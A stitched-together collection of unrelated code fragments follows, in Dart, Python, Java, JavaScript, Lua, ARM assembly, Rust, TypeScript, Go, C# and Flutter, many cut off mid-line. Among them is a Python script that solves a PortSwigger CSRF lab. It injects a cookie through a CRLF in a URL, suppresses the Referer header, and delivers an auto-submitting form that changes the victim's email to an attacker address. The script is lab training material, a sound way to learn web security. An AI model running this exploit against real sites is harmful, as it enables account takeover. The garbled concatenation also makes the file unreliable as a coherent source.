  //     - Otherwise J' = J.
  //   - Let T2' be the coerced type of `e2`, defined as follows:
  //     - If T2 is a subtype of J', then T2' = T2 (no coercion is needed).
  //     - Otherwise, if T2 can be coerced to a some other type which *is* a
  //       subtype of J', then apply that coercion and let T2' be the type
  //       resulting from the coercion.
  //     - Otherwise, it is a compile-time error.
  //   - Let T be UP(NonNull(T1), T2').
  //   - Let S be the greatest closure of K.
  //   - If T <: S, then the type of `e` is T.
  //     (Testing this case here. Otherwise continued below.)
  {
    // This example has:
    // - K = Object
    // - T1 = int?
    // - T2' = double
    // Which implies:
    // - T = num
    // - S = Object
    // We have:
    // - T <: S
    // Therefore the type of `e` is T = num.
    var d = 2.0;
    context<Object>(
      (Test.staticIntQuestion ??= d)..expectStaticType<Exactly<num>>(),
    );

    // This example has:
    // - K = Iterable<_>
    // - T1 = Iterable<int>?
    // - T2' = Iterable<double>
    // Which implies:
    // - T = Iterable<num>
    // - S = Iterable<Object?>
    // We have:
    // - T <: S
    // Therefore the type of `e` is T = Iterable<num>.
    var iterableDouble = <double>[] as Iterable<double>;
    contextIterable(
      (Test.staticIterableIntQuestion ??= iterableDouble)
        ..expectStaticType<


#!/usr/bin/env python3
# Lab: CSRF where Referer validation depends on header being present
# Lab-Link: https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present
# Difficulty: PRACTITIONER
from bs4 import BeautifulSoup
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def find_exploitserver(text):
    soup = BeautifulSoup(text, 'html.parser')
    try:
        result = soup.find('a', attrs={'id': 'exploit-link'})['href']
    except TypeError:
        return None
    return result

def store_exploit(client, exploit_server, host):
    token = 'abc'
    cookieURL = f'{host}/?search=x%0d%0aSet-Cookie:+csrf={token}'
    data = {'urlIsHttps': 'on',
            'responseFile': '/exploit',
            'responseHead': '''HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: no-referrer''',
            'responseBody': '''<form action="''' + host + '''/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="email@evil.me" />
      <input type="submit" value="Submit request" />
</form>
<img src=''' + cookieURL + ''' onerror="document.forms[0].submit()">''',
            'formAction': 'STORE'}

    return client.post(exploit_server, data=data).status_code == 200

def main():
    print('[+] Lab: CSRF where Referer validation depends on header being present')
    try:
        host = sys.argv[1].strip().rstrip('/')
    except IndexError:
        print(f'Usage: {sys.argv[0]} <HOST>')
        print(f'Exampe: {sys.argv[0]} http://www.example.com')
        sys.exit(-1)

    client = requests.Session()
    client.verify = False
    client.proxies = proxies

    exploit_server = find_exploitserver(client.get(host).text)
    if exploit_server is None:
        print(f'[-] Failed to find exploit server')
        sys.exit(-2)
    print(f'[+] Exploit server: {exploit_server}')

    if not store_exploit(client, exploit_server, host):
        print(f'[-] Failed to store exploit file')
        sys.exit(-3)
    print(f'[+] Stored exploit file')

    if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302:
        print(f'[-] Failed to deliver exploit to victim')
        sys.exit(-4)
    print(f'[+] Delivered exploit to victim')

    if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
        print(f'[-] Failed to solve lab')
        sys.exit(-9)

    print(f'[+] Lab solved')

if __name__ == "__main__":
    main()


HING_PERSULFATE  ).setSmelting(Ni   ,   U3).addSourceOf(Ni       ).uumMcfg( 0, Ni             , 9*U, S                , 8*U)                                                                                .qual(0), // (Fe,Ni)9S8
		Chalcopyrite            = oredustdcmp( 9111, "Chalcopyrite"              , SET_DULL      , 160, 120,  40, 255, G_GEM_ORES, MORTAR, FURNACE                                                    ).setSmelting(Cu   , 2*U9).addSourceOf(Cu,Fe    ).uumMcfg( 0, Cu             , 1*U, Fe               , 1*U, S                , 2*U)                                                                        .qual(0),
		Arsenopyrite            = oredustdcmp( 9216, "Arsenopyrite"              , SET_CUBE_SHINY, 250, 240,  30, 255, G_GEM_ORES, MORTAR, BLACKLISTED_SMELTER                                        ).setSmelting(As   ,   U4).addSourceOf(Fe,As    ).uumMcfg( 0, Fe             , 1*U, As               , 1*U, S                , 1*U)                                                                        .qual(0),
		Cobaltite               = oredustdcmp( 9115, "Cobaltite"                 , SET_METALLIC  ,  80,  80, 250, 255, G_GEM_ORES, MORTAR, BLACKLISTED_SMELTER, MAGNETIC_PASSIVE, WASHING_PERSULFATE  ).setSmelting(Co   ,   U4).addSourceOf(Co,As    ).uumMcfg( 0, Co             , 1*U, As               , 1*U, S                , 1*U)                                                                        .qual(0),
		Galena                  = oredustdcmp( 9117, "Galena"                    , SET_DULL      , 100,  60, 100, 255, G_GEM_ORES, MORTAR, FURNACE                                                    ).setSmelting(Pb   ,   U3).addSourceOf(Pb,Ag    ).uumMcfg( 0, Pb             , 3*U, Ag               , 3*U, S                , 2*U)                                                                        ,
		Cooperite               = oredustdcmp( 9116, "Cooperite"                 , SET_METALLIC  , 130, 160, 230, 255, G_GEM_ORES, MORTAR, BLACKLISTED_SMELTER, WASHING_MERCURY, "Sheldonite"         ).setSmelting(Pt   ,   U3).addSourceOf(Pt,Ni,Pd ).uumMcfg( 0, Pt             , 3*U, Ni               , 1*U, Pd               , 1*U, S                , 1*U)                                                .setLocal("Sheldonite"),
		Tetrahedrite            = oredustdcmp( 9132, "Tetrahedrite"              , SET_DULL      , 200,  32,   0, 255, G_GEM_ORES, MORTAR, FURNACE, WASHING_PERSULFATE                                ).setSmelting(Cu   ,   U4).addSourceOf(Cu,Sb,Fe ).uumMcfg( 0, Cu             , 3*U, Sb               , 1*U, Fe               , 1*U, S                , 3*U)                                                , // Cu3SbS3 + x(Fe,Zn)6Sb2S9
		Kesterite               = oredustdcmp( 9213, "Kesterite"                 , SET_DULL      , 105, 155, 105, 255, G_GEM_ORES, MORTAR, BLACKLISTED_SMELTER                                        ).setSmelting(Cu   ,   U9).addSourceOf(Cu,Zn,Sn ).uumMcfg( 0, Cu             , 2*U, Zn               , 1*U, Sn               , 1*U, S                , 4*U)                                                ,
		Stannite                = oredustdcmp( 9214, "Stannite"                  , SET_METALLIC  , 155, 145,  55, 255, G_GEM_ORES, MORTAR, BLACKLISTED_SMELTER                                        ).setSmelting(Cu


1, music: "", sound: "", txt: "[我]你胡说八道什么……" },
    100056: { nxId: 1, scene: 11004, doing: 2, item: 211001, music: "", sound: "", txt: "[我]你姐姐我要是有那能耐，\n还至于现在还孤家寡人一个？" },
    100057: { nxId: 1, scene: 11004, doing: 2, item: 211001, music: "", sound: "", txt: "[我]整天被我妈连珠炮似的轰炸我眼界高。" },
    100058: { nxId: 100062, scene: 11004, doing: 2, item: 211001, music: "", sound: "", txt: "[我]哎，说多了都是泪，\n姐姐我心累先跑了。" },
    //C
    100059: { nxId: 1, scene: 11004, doing: 2, item: 211001, music: "", sound: "", txt: "[我]烂桃花也好过你双十一！" },
    100060: { nxId: 1, scene: 11004, doing: 2, item: 211001, music: "", sound: "", txt: "[我]现在是你姐我给你挡枪，\n想想家里下一个被张罗的会是谁？" },
    100061: { nxId: 1, scene: 11004, doing: 2, item: 211001, music: "", sound: "", txt: "[我]得了，不跟你扯了，\n姐姐我先行一步。" },

    100062: { nxId: 1, scene: 11004, doing: 2, item: 212002, music: "", sound: "plane", txt: "[杨晓东]好吧，姐你一路顺利，拜拜！" },
    100063: { nxId: 1, scene: 11004, doing: 2, item: 212001, music: "", sound: "", txt: "[杨晓东](大喊）姐，记得给我带个肤白貌美大\n长腿的西班牙小妞回来哇！！！" },
    100064: { nxId: 1, scene: 11004, doing: 2, item: 211015, music: "", sound: "", txt: "[我]…………" },
    100065: { nxId: 1, scene: 11004, doing: 2, item: 211015, music: "", sound: "", txt: "[我]（赶紧走，假装不认识他，\n   太丢人了！）" },

    100066: { nxId: 1, scene: 12001, doing: 1, item: 0, music: "Sub", sound: "", txt: "你拉起拉杆箱，向着柜台走去。\n前方突然响起了一阵喧哗。" },
    //插图
    100067: { nxId: 1, scene: 12004, doing: 5, item: 51001, music: "", sound: "", txt: "插图" },
    100068: { nxId: 1, scene: 12004, doing: 2, item: 214002, music: "", sound: "", txt: "[女孩]不，我不能给你！" },
    100069: { nxId: 1, scene: 12004, doing: 2, item: 213002, music: "", sound: "", txt: "[男孩]你够了没有？松手！" },
    100070: { nxId: 1, scene: 12004, doing: 2, item: 214002, music: "", sound: "", txt: "[女孩]你不要这样啊！求求你了！" },
    100071: { nxId: 1, scene: 12004, doing: 2, item: 213002, music: "", sound: "", txt: "[�


local M = {}
local vim = vim

-- Chart state for interactive editing
local chart_state = {
  current_candle = 0,    -- Current candle index (0-based)
  current_row = 0,       -- Current row position in chart
  chart_height = 10,     -- Height of the chart
  num_candles = 0,       -- Total number of candles
  candle_width = 3,      -- Width of each candle in characters
  variable_name = nil,   -- DataFrame variable name for buffer-based state
  source_file = nil,     -- Original Python file path
}

function M.open_chart(df_variable_name)
  -- This function will be called from Neovim
  -- It will get the DataFrame from the Python process using buffer content
  -- and display the ASCII chart in a new buffer.

  -- Auto-detect variable name if not provided
  if not df_variable_name or df_variable_name == "" then
    df_variable_name = M.get_variable_under_cursor()
  end

  -- Check if we have a variable name
  if not df_variable_name or df_variable_name == "" then
    vim.notify("No DataFrame containing OHLC data found. Place cursor on a DataFrame variable or specify one with :VimtraderChart <variable_name>", vim.log.levels.ERROR)
    return
  end

  -- Store the variable name and source file for buffer-based operations
  chart_state.variable_name = df_variable_name
  chart_state.source_file = vim.api.nvim_buf_get_name(0)  -- Current buffer (the Python file)

  local buf = vim.api.nvim_create_buf(false, true)
  vim.api.nvim_buf_set_option(buf, 'bufhidden', 'wipe')
  vim.api.nvim_buf_set_option(buf, 'filetype', 'vimtrader')

  -- Make an RPC call to the Python backend to get chart string from buffer
  local ok, chart_string
  if chart_state.variable_name and chart_state.variable_name ~= "" then
    ok, chart_string = pcall(vim.fn.VimtraderGetDataFrameChart, chart_state.variable_name)
  else
    -- Fallback to sample chart if no variable name provided
    ok, chart_string = pcall(vim.fn.VimtraderGetSampleChart)
  end

  if not ok then
    chart_string = "Error: Could not communicate with Python backend.\n\nPlease ensure:\n1. pynvim is installed (pip install pynvim)\n2. Run :UpdateRemotePlugins in Neovim\n3. Restart Neovim\n\nError details: " .. tostring(chart_string)
  end

  -- Ensure chart_string is a string before splitting
  if type(chart_string) ~= "string" then
    chart_string = "Error: Received unexpected data type from Python backend.\n\nExpected string, got: " .. type(chart_string) .. "\n\nPlease check that the remote plugin is properly registered.\nRun :UpdateRemotePlugins and restart Neovim."
  end

  -- Set the buffer content with the received chart string
  local chart_lines = vim.split(chart_string, '\n')

  -- Add key map help at the bottom
  local help_lines = {
    "",
    "H/J=high, K/L=low, O/P=open, C/V=close",
    "Other: q/ESC=quit, r=refresh, i=info"
  }

  -- Combine chart and help lines
  for _, line in ipairs(help_lines) do
    table.insert(chart_lines, line)
  end

  vim.api.nvim_


(r2);

      // Compute the K Matrix:

      r1_twidle.set(new double[]
      {
         0.0, -r1.getZ(), r1.getY(), r1.getZ(), 0.0, -r1.getX(), -r1.getY(), r1.getX(), 0.0
      });
      r2_twidle.set(new double[]
      {
         0.0, -r2.getZ(), r2.getY(), r2.getZ(), 0.0, -r2.getX(), -r2.getY(), r2.getX(), 0.0
      });

      I1_inv.set(I1);
      I1_inv.invert();
      I2_inv.set(I2);
      I2_inv.invert();

      t1.set(r1_twidle);
      t1.multiply(I1_inv);
      t1.multiply(r1_twidle);
      t2.set(r2_twidle);
      t2.multiply(I2_inv);
      t2.multiply(r2_twidle);

      K.set(new double[]
      {
         1, 0, 0, 0, 1, 0, 0, 0, 1
      });
      K.scale(1.0 / CollisionExampleRobot.M1 + 1.0 / CollisionExampleRobot.M2);
      K.sub(t1);
      K.sub(t2);

      K_inverse.set(K);
      K_inverse.invert();

      // Report:

      /*
       * System.out.println("x1_world, x2_world:");System.out.println(x1_world); System.out.println(x2_world);
       * System.out.println("r1_world, r2_world:");System.out.println(r1_world); System.out.println(r2_world);
       * System.out.println("u1_world, u2_world:");System.out.println(u1_world); System.out.println(u2_world);
       *
       *
       * System.out.println("r1, r2:");System.out.println(r1); System.out.println(r2);
       * System.out.println("u1, u2:");System.out.println(u1); System.out.println(u2);
       *
       * System.out.println("u:");System.out.println(u);
       * System.out.println("K:");System.out.println(K);
       */

      // Integrate the collision:

      CollisionIntegrator collisionIntegrator = new CollisionIntegrator();
      collisionIntegrator.setup(K, u, epsilon, mu);

//    double[] output = new double[4];
      Vector3D output = new Vector3D();

      // System.out.println("Integrating the collision...");
      collisionIntegrator.integrate(output);

      // System.out.println("Done Integrating the collision...");

      u_final = new Vector3D(output);

      // System.out.println("u_final:");System.out.println(u_final);

      // Compute the impulse:

      delta_u = new Vector3D(u);
      delta_u.sub(u_final);

      // System.out.println("delta_u:");System.out.println(delta_u);

      delta_u_world = new Vector3D(delta_u);
      R_world_collision.transform(delta_u_world);

      // System.out.println("delta_u_world:");System.out.println(delta_u_world);

      impulse = new Vector3D(delta_u);
      K_inverse.transform(impulse);

      // System.out.println("impulse:");System.out.println(impulse);

      // Transform the impulse into world coordinates:

      impulse_world = new Vector3D(impulse);
      R_world_collision.transform(impulse_world);

      // System.out.println("imp


(F<=67108863);for(var G=(1<<26)%F,J=0,et=this.length-1;et>=0;et--)J=(G*J+(this.words[et]|0))%F;return J},a.prototype.idivn=function(F){i(F<=67108863);for(var G=0,J=this.length-1;J>=0;J--){var et=(this.words[J]|0)+G*67108864;this.words[J]=et/F|0,G=et%F}return this.strip()},a.prototype.divn=function(F){return this.clone().idivn(F)},a.prototype.egcd=function(F){i(F.negative===0),i(!F.isZero());var G=this,J=F.clone();G.negative!==0?G=G.umod(F):G=G.clone();for(var et=new a(1),ot=new a(0),ht=new a(0),ct=new a(1),tt=0;G.isEven()&&J.isEven();)G.iushrn(1),J.iushrn(1),++tt;for(var K=J.clone(),j=G.clone();!G.isZero();){for(var it=0,lt=1;!(G.words[0]&lt)&&it<26;++it,lt<<=1);if(it>0)for(G.iushrn(it);it-- >0;)(et.isOdd()||ot.isOdd())&&(et.iadd(K),ot.isub(j)),et.iushrn(1),ot.iushrn(1);for(var rt=0,Y=1;!(J.words[0]&Y)&&rt<26;++rt,Y<<=1);if(rt>0)for(J.iushrn(rt);rt-- >0;)(ht.isOdd()||ct.isOdd())&&(ht.iadd(K),ct.isub(j)),ht.iushrn(1),ct.iushrn(1);G.cmp(J)>=0?(G.isub(J),et.isub(ht),ot.isub(ct)):(J.isub(G),ht.isub(et),ct.isub(ot))}return{a:ht,b:ct,gcd:J.iushln(tt)}},a.prototype._invmp=function(F){i(F.negative===0),i(!F.isZero());var G=this,J=F.clone();G.negative!==0?G=G.umod(F):G=G.clone();for(var et=new a(1),ot=new a(0),ht=J.clone();G.cmpn(1)>0&&J.cmpn(1)>0;){for(var ct=0,tt=1;!(G.words[0]&tt)&&ct<26;++ct,tt<<=1);if(ct>0)for(G.iushrn(ct);ct-- >0;)et.isOdd()&&et.iadd(ht),et.iushrn(1);for(var K=0,j=1;!(J.words[0]&j)&&K<26;++K,j<<=1);if(K>0)for(J.iushrn(K);K-- >0;)ot.isOdd()&&ot.iadd(ht),ot.iushrn(1);G.cmp(J)>=0?(G.isub(J),et.isub(ot)):(J.isub(G),ot.isub(et))}var it;return G.cmpn(1)===0?it=et:it=ot,it.cmpn(0)<0&&it.iadd(F),it},a.prototype.gcd=function(F){if(this.isZero())return F.abs();if(F.isZero())return this.abs();var G=this.clone(),J=F.clone();G.negative=0,J.negative=0;for(var et=0;G.isEven()&&J.isEven();et++)G.iushrn(1),J.iushrn(1);do{for(;G.isEven();)G.iushrn(1);for(;J.isEven();)J.iushrn(1);var ot=G.cmp(J);if(ot<0){var ht=G;G=J,J=ht}else if(ot===0||J.cmpn(1)===0)break;G.isub(J)}while(!0);return J.iushln(et)},a.prot


sub	fp, ip, #4
	UNWIND(.pad #228)
	sub	sp, sp, #228
	ldr	r6, .L459
	str	r0, [fp, #-248]
	sub	r10, fp, #244
	str	r1, [fp, #-256]
	sub	r8, fp, #216
	ldmia	r6!, {r0, r1, r2, r3}
	sub	lr, fp, #188
	str	lr, [fp, #-252]
	sub	r4, fp, #156
	sub	ip, fp, #100
	add	r9, r6, #12
	add	r5, r6, #40
	stmia	r10!, {r0, r1, r2, r3}
	add	lr, r6, #96
	ldmia	r6, {r0, r1, r2}
	add	r7, r6, #152
	stmia	r10, {r0, r1, r2}
	ldmia	r9!, {r0, r1, r2, r3}
	stmia	r8!, {r0, r1, r2, r3}
	ldmia	r9, {r0, r1, r2}
	stmia	r8, {r0, r1, r2}
	ldmia	r5!, {r0, r1, r2, r3}
	stmia	r4!, {r0, r1, r2, r3}
	ldmia	r5!, {r0, r1, r2, r3}
	stmia	r4!, {r0, r1, r2, r3}
	ldmia	r5!, {r0, r1, r2, r3}
	stmia	r4!, {r0, r1, r2, r3}
	ldmia	r5, {r0, r1}
	stmia	r4, {r0, r1}
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldmia	lr, {r0, r1}
	ldr	lr, [fp, #-252]
	stmia	ip, {r0, r1}
	ldmia	r7!, {r0, r1, r2, r3}
	stmia	lr!, {r0, r1, r2, r3}
	ldmia	r7, {r0, r1, r2, r3}
	stmia	lr, {r0, r1, r2, r3}
	mov	r1, #3
	ldr	r0, [fp, #-248]
	bl	BsShow
	mov	r4, r0
	cmp	r4, #6
	ldr	r0, [fp, #-248]
	bgt	.L452
	mov	r1, #3
	bl	BsSkip
	sub	r3, fp, #44
	add	r2, r3, r4, lsl #2
	ldr	r1, [r2, #-200]
	ldr	r2, [r2, #-172]
	sub	r3, r2, #1
	cmp	r3, #7
	bhi	.L456
.L458:
	sub	r2, fp, #44
	add	r3, r2, r3, lsl #2
	ldr	r3, [r3, #-144]
	mul	r3, r3, r1
.L457:
	ldr	r2, [fp, #-256]
	str	r3, [r2]
.L454:
	mov	r0, r4
	sub	sp, fp, #40
	ldmfd	sp, {r4,


ontinuation_line(&mut self, continuation_line: line::ZoneInfo) -> Result<(), Error> {
        let zoneset: &mut _ = match self.current_zoneset_name {
            Some(ref name) => self.table.zonesets.get_mut(name).unwrap(),
            None => return Err(Error::SurpriseContinuationLine),
        };

        zoneset.push(continuation_line.into());
        Ok(())
    }

    /// Adds a new line describing one entry in a ruleset, creating that set
    /// if it didn’t exist already.
    pub fn add_rule_line(&mut self, rule_line: line::Rule) -> Result<(), Error> {
        let ruleset = self.table.rulesets
                                .entry(rule_line.name.to_owned())
                                .or_insert_with(Vec::new);

        ruleset.push(rule_line.into());
        self.current_zoneset_name = None;
        Ok(())
    }

    /// Adds a new line linking one zone to another.
    ///
    /// Returns an error if there was already a link with that name.
    pub fn add_link_line<'line>(&mut self, link_line: line::Link<'line>) -> Result<(), Error<'line>> {
        match self.table.links.entry(link_line.new.to_owned()) {
            Entry::Occupied(_)  => Err(Error::DuplicateLink(link_line.new)),
            Entry::Vacant(e)    => {
                let _ = e.insert(link_line.existing.to_owned());
                self.current_zoneset_name = None;
                Ok(())
            }
        }
    }

    /// Returns the table after it’s finished being built.
    pub fn build(self) -> Table {
        self.table
    }
}

/// Something that can go wrong while constructing a `Table`.
#[derive(PartialEq, Debug, Copy, Clone)]
pub enum Error<'line> {

    /// A continuation line was passed in, but the previous line wasn’t a zone
    /// definition line.
    SurpriseContinuationLine,

    /// A zone definition referred to a ruleset that hadn’t been defined.
    UnknownRuleset(&'line str),

    /// A link line was passed in, but there’s already a link with that name.
    DuplicateLink(&'line str),

    /// A zone line was passed in, but there’s already a zone with that name.
    DuplicateZone,
}

impl<'line> fmt::Display for Error<'line> {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        write!(f, "{}", self.description())
    }
}

impl<'line> ErrorTrait for Error<'line> {
    fn description(&self) -> &str {
        "interpretation error"
    }

    fn cause(&self) -> Option<&ErrorTrait> {
        None
    }
}
<reponame>fxredeemer/rusty-clock
use embedded_graphics::pixelcolor::BinaryColor;
use embedded_graphics::prelude::*;
use embedded_graphics::primitives::Rectangle;
use embedded_graphics::style::PrimitiveStyleBuilder;
use epd_waveshare::epd2in9bc::Display2in9bc;

pub struct SevenSegments<'a> {
    display: &'a mut Display2in9bc,
    width: i32,
    height: i32,
    thickness: i32,
    space: i32,
    x: i32,
    y: i32,
}

impl<'a> SevenSegments<'a> {
    pub fn new(display: &'a mut Display2in9bc, x: i32, y: i32) -> Self {
        Self {
            display,
            width: 52,
            height: 90,
            thickness: 12,
            space: 13,
            x,
            y,
        }
    }

    pub fn into_display(self) -> &'a mut Display2in9bc {
        self.display
    }

    pub fn colon_space(&mut self) {
        self.x += self.thickness + self.space;
    }

    pub fn colon(&mut self) {


 result = this.process(text);

    if (!this.isLintResult(result)) {
      throw new JandentError("lint()関数の返り値がJandentLintResultでない");
    }

    return result;
  }

  /**
   * メインの処理部分。第二引数のisLintの値に応じて、lintを行うか変換を行うかを変更する
   * isLintがtrueの場合はlint_processへと投げて、falseの場合はconvert_processに投げる
   *
   * @param  text   変換またはlint対象として扱うテキスト
   * @param  isLint lintを行うか否かのbool
   * @return        変換またはlint結果のJandentResult
   */
  process(text: string): JandentResult {
    const resultType = (this.isLint) ? "lint" : "convert";
    const resultSome = (this.isLint) ? this.lintProcess(text) : this.convertProcess(text);

    // 処理用stateの初期化
    this.states = this.defaultJandentStates;

    return {
      type: resultType,
      some: resultSome
    };
  }

  convertProcess(text: string): string {
    // 正規表現を用いて改行ごとのstring配列として切り分ける
    const textArray = text.split(/\n|\r|\r\n/);

    let result = "";
    for (let line of textArray) {
      // 変換結果に改行コードを付け足して文字列結合
      result += this.lineConvert(line) + this.chars.newline;
    }

    // 最終行の改行コードを削った値を返す
    return result.slice(0, -1);
  }

  lintProcess(text: string): LintData[] {
    // 正規表現を用いて改行ごとのstring配列として切り分ける
    const textArray = text.split(/\n|\r|\r\n/);
    const textArrayLen = textArray.length;
    const lintData: LintData[] = [];

    for (let i = 0; i < textArrayLen; i++) {
      const line = textArray[i];
      // ループ回数 + 1を行番号として扱う
      this.lineNumber = i + 1;

      // result配列に対して、lineLint結果を破壊的結合
      this.lineLint(line, lintData);
    }

    return lintData;
  }

  lineLint(line: string, lintData: LintData[]) {
    // 行頭字下げを行う
    if (this.options.isInsertLineHeadSpace) {
      this.insertLineHeadSpace(line, lintData);
    }

    if (this.options.isRemovePuncBeforeBrackets) {
      // 終わり括弧前の句読点を除去
      this.removeSpecificCharsBeforeChars(line, this.chars.rightBrackets, this.chars.puncs, lintData);
    }

    if (this.options.isUnifyDoubleDash) {
      // 単体ダッシュ記号"―"を二つに統一
      this.unifyDoubleChars(line, this.chars.dashs, lintData);
    }

    if (this.options.isUnifyDoubleLeaders) {
      // 単体三点リーダ記号"…"を二つに統一
      this.unifyDoubleChars(line, this.chars.leaders, lintData);
    }

    if (this.options.isRemoveConsecPunc) {


reate expected Job
	jobExpected := createMinimalExpectedJob(deployment)
	addEnvVarsToAllJobContainers(jobExpected, corev1.EnvVar{Name: coh.EnvVarJvmUseContainerLimits, Value: "false"})

	// assert that the Job is as expected
	assertJobCreation(t, deployment, jobExpected)
}

func TestCreateJobWithJvmSpecWithDebugEnabledFalse(t *testing.T) {

	spec := coh.CoherenceResourceSpec{
		JVM: &coh.JVMSpec{
			Debug: &coh.JvmDebugSpec{
				Enabled: boolPtr(false),
				Suspend: boolPtr(true),
				Attach:  stringPtr("10.10.10.10:5001"),
				Port:    int32Ptr(1234),
			},
		},
	}

	// Create the test deployment
	deployment := createTestCoherenceJob(spec)
	// Create expected Job
	jobExpected := createMinimalExpectedJob(deployment)

	// assert that the Job is as expected
	assertJobCreation(t, deployment, jobExpected)
}

func TestCreateJobWithJvmSpecWithDebugEnabledTrueSuspendTrue(t *testing.T) {

	spec := coh.CoherenceResourceSpec{
		JVM: &coh.JVMSpec{
			Debug: &coh.JvmDebugSpec{
				Enabled: boolPtr(true),
				Suspend: boolPtr(true),
				Attach:  stringPtr("10.10.10.10:5001"),
				Port:    int32Ptr(1234),
			},
		},
	}

	// Create the test deployment
	deployment := createTestCoherenceJob(spec)
	// Create expected Job
	jobExpected := createMinimalExpectedJob(deployment)
	addEnvVarsToAllJobContainers(jobExpected, corev1.EnvVar{Name: "JVM_DEBUG_ENABLED", Value: "true"})
	addEnvVarsToAllJobContainers(jobExpected, corev1.EnvVar{Name: "JVM_DEBUG_SUSPEND", Value: "true"})
	addEnvVarsToAllJobContainers(jobExpected, corev1.EnvVar{Name: "JVM_DEBUG_ATTACH", Value: "10.10.10.10:5001"})
	addEnvVarsToAllJobContainers(jobExpected, corev1.EnvVar{Name: "JVM_DEBUG_PORT", Value: "1234"})
	// add the expected debug port
	addPortsForJob(jobExpected, coh.ContainerNameCoherence, corev1.ContainerPort{
		Name:          coh.PortNameDebug,
		ContainerPort: 1234,
	})

	// assert that the Job is as expected
	assertJobCreation(t, deployment, jobExpected)
}

func TestCreateJobWithJvmSpecWithDebugEnabledTrueSuspendFalse(t *testing.T) {

	spec := coh.CoherenceResourceSpec{
		JVM: &coh.JVMSpec{
			Debug: &coh.JvmDebugSpec{
				Enabled: boolPtr(true),
				Suspend: boolPtr(false),
				Attach:  stringPtr("10.10.10.10:5001"),
				Port:    int32Ptr(1234),
			},
		},
	}

	// Create the test deployment
	deployment := createTestCoherenceJob(spec)
	// Create expected Job
	jobExpected := createMinimalExpectedJob(deployment)
	addEnvVarsToAllJobContainers(jobExpected, corev1.EnvVar{Name: "JVM_DEBUG_ENABLED", Value: "true"})
	addEnvVarsToAllJobContainers(jobExpected, corev1.EnvVar{Name: "JVM_DEBUG_ATTACH", Value: "10.10.10.10:5001"})
	addEnvVarsToAllJobContainers(jobExpected, corev1.EnvVar{Name: "JVM_DEBUG_PORT", Value: "1234"})
	// add the expected debug port
	addPortsForJob(jobExpected, coh.ContainerNameCoherence, corev1.ContainerPort{
		Name:          coh.PortNameDebug,
		ContainerPort: 1234,
	})

	// assert that the Job is as expected
	assertJobCreation(t, deployment, jobExpected)


nge(RIGHT, buff=1).move_to(DOWN * 1.5),
            run_time=1.5
        )

        self.play(
            Write(finale_text),
            Write(finale_subtext),
            run_time=1.5
        )

        # Final particle explosion effect
        final_particles = VGroup()
        for _ in range(60):
            particle = Dot(
                point=finale_text.get_center(),
                radius=random.uniform(0.03, 0.1),
                color=random.choice([PURE_PINK, ACCENT_BLUE, ACCENT_PURPLE]),
                fill_opacity=0.9
            )
            angle = random.uniform(0, 2*PI)
            distance = random.uniform(3, 6)
            target_pos = particle.get_center() + distance * np.array([np.cos(angle), np.sin(angle), 0])
            final_particles.add(particle)

            self.add(particle)
            self.play(
                particle.animate.move_to(target_pos).set_opacity(0),
                run_time=2,
                rate_func=smooth
            )

        # Hold the final frame
        self.wait(3)

        # Smooth exit
        self.play(
            FadeOut(finale_group),
            FadeOut(member_cards),
            FadeOut(final_particles),
            run_time=2
        )


using ToSic.Sxc.Adam;

namespace ToSic.Sxc.Data;

partial interface ITypedItem
{
    /// <summary>
    /// Get the ADAM (Automatic Digital Asset Manager) for this field.
    /// This is a folder which contains all the files and possibly folders which are uploaded on exactly this field.
    /// </summary>
    /// <param name="name">property name</param>
    /// <param name="noParamOrder">see [](xref:NetCode.Conventions.NamedParameters)</param>
    /// <param name="required">throw error if `name` doesn't exist, see [](xref:NetCode.Conventions.PropertiesRequired)</param>
    /// <returns>The Folder object</returns>
    /// <remarks>Added in 16.02</remarks>
    IFolder? Folder(string name,
        NoParamOrder noParamOrder = default,
        bool? required = default);

    /// <summary>
    /// Get the file of the current field.
    /// There are a few scenarios


 at runtime by passing this through the [onLoaded] callback.
  late final PlutoGridStateManager stateManager;

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      body: Container(
        padding: const EdgeInsets.all(15),
        child: PlutoGrid(
          columns: columns,
          rows: rows,
          columnGroups: columnGroups,
          onLoaded: (PlutoGridOnLoadedEvent event) {
            stateManager = event.stateManager;
            stateManager.setShowColumnFilter(true);
          },
          onChanged: (PlutoGridOnChangedEvent event) {
            print(event);
          },
          configuration: const PlutoGridConfiguration(),
        ),
      ),
    );
  }
}
import 'package:flutter/material.dart';
import 'package:pluto_grid/pluto_grid.dart';

import '../../widget/pluto_example_button.dart';
import '../../widget/pluto_example_screen.dart';

class SelectionTypeColumnScreen extends StatefulWidget {
  static const routeName = 'feature/selection-type-column';

  const SelectionTypeColumnScreen({Key? key}) : super(key: key);

  @override
  _SelectionTypeColumnScreenState createState() =>
      _SelectionTypeColumnScreenState();
}

class _SelectionTypeColumnScreenState extends State<SelectionTypeColumnScreen> {
  final List<PlutoColumn> columns = [];

  final List<PlutoRow> rows = [];

  @override
  void initState() {
    super.initState();

    columns.addAll([
      PlutoColumn(
        title: 'Select A',
        field: 'select_a',
        type: PlutoColumnType.select(
          <String>[
            'One',
            'Two',
            'Three',
          ],
          enableColumnFilter: true,
        ),
      ),
      PlutoColumn(
        title: 'Select B',
        field: 'select_b',
        type: PlutoColumnType.select(
          <String>[
            'Mercury',
            'Venus',
            'Earth',
            'Mars',
            'Jupiter',
            'Saturn',
            'Uranus',
            'Neptune',
            'Pluto',
          ],
          enableColumnFilter: true,
        ),
      ),
      PlutoColumn(
        title: 'Select C',
        field: 'select_c',
        type: PlutoColumnType.select(
          <String>[
            '9.01',
            '30.02',
            '100.001',
          ],
          enableColumnFilter: true,
        ),
      ),
      PlutoColumn(
        title: 'Select D',
        field: 'select_d',
        type: PlutoColumnType.select(
          <String>[
            '一',
            '二',
            '三',
